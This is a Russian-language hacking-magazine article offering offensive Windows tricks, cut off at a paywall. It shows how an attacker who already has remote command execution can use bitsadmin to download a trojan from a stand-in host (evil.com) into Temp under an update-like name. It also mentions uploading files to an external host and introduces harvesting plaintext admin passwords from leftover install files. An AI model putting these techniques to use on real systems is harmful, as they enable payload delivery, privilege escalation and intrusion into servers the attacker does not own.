Закачиваем файл в Windows с помощью BITS

Представим себе типичную ситуацию: через какую-то уязвимость мы получили возможность удаленно выполнять команды на сервере с Windows. Высоких привилегий в ОС у нас нет, и порты зафильтрованы на внешнем файрволе. Подошел бы вариант с бэк-коннект шеллом, но ведь надо закачать наш шелл в ОС. И если под *nix-системы существует куча разных возможностей, то с виндой труднее. Можно, конечно, использовать FTP-клиент или скрипт WSH, но эти варианты требуют многострочных действий, что часто бывает проблемой из-за ограничений уязвимости, которая дает RCE.

Оказывается, Windows еще со времен XP хранит в себе интересную тулзу — bitsadmin. Это часть специальной подсистемы BITS, Background Intelligent Transfer Service. Эта подсистема используется для скачивания больших файлов со сторонних ресурсов по HTTP. Автоматическое обновление Windows и обновление антивиря Defender происходит как раз через нее. К тому же ее использует ряд сторонних программ. Она достаточно «умна», так как поддерживает функцию докачки файлов при обрыве подключения (или выходе пользователя из системы), закачку нескольких файлов и их приоритезацию, а также подстройку скорости скачивания файла в зависимости от загрузки канала связи.

Для нас самая главная возможность — это запуск bitsadmin от непривилегированного пользователя и с минимум спецсимволов. Кстати, каждая закачка «оформляется» в виде задачи (job).

bitsadmin /transfer myjob /download http://evil.com/trojan.exe c:\Windows\Temp\kb123456.exe

Ключ /transfer myjob указывает на то, что мы хотим создать новую задачу с именем myjob и с типом download. Далее указывается полный путь до файла и место для сохранения. Помни, что у тебя должны быть права на запись в ту директорию, куда будет сохранен файл (к примеру, у юзера обычно есть доступ к Temp).

Вот и все! Файл будет скачан, возможно — потребуется подождать, если канал загружен.

И еще пара моментов. Во-первых, тулза поддерживает прокси. По умолчанию используются настройки IE, но можно выставить через параметры к bitsadmin и свои значения. Во-вторых, можно не только скачивать файлы, но и заставить ОС выгрузить файл из файловой системы на внешний хост (команда upload), правда, нужно поднимать специальный BITS-сервер. И последнее: начиная с Windows 7, эта утилита помечена как deprecated, так что в будущем она пропадет из ОС. Но в Windows 8 она еще присутствует.

Пример загрузки файла с помощью bitsadmin в ОС
Пример загрузки файла с помощью bitsadmin в ОС
 

Получаем пароль админа Windows

Еще один трюк, посвященный Windows, который может позволить нам поднять привилегии в системе за счет получения пароля локального администратора в плейнтексте.

У каждой крупной компании есть типовая задача: покупаются новые компьютеры, и на них надо установить Windows и дополнительное ПО, настроить. Есть несколько официальных подходов к автоматизации этого процесса, но их подробности для нас не особенно важны. Интересно лишь то, что при установке ОС необходимо указывать различные параметры и они задаются с помощью специального файла. Причем если задается пароль для пользователя (локального админа), то содержится он в этом файле в плейнтексте (максимум — в Base64). Иногда этот файл может быть оставлен в файловой системе Windows.

Продолжение доступно только подписчикам

Вариант 1. Оформи подписку на «Хакер», чтобы читать все материалы на сайте

Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта. Мы принимаем оплату банковскими картами, электронными деньгами и переводами со счетов мобильных операторов. Подробнее о подписке

Вариант 2. Купи один материал

Заинтересовала информация, но нет возможности оплатить подписку? Тогда этот вариант для тебя! Обрати внимание: этот способ покупки доступен только для материалов, опубликованных более двух месяцев назад.


Оставить мнение

Check Also

Устройство SkimReaper обнаруживает скиммеры со стопроцентной точностью

Сотрудник Флоридского университета представил на конференции USENIX Security Symposium уст…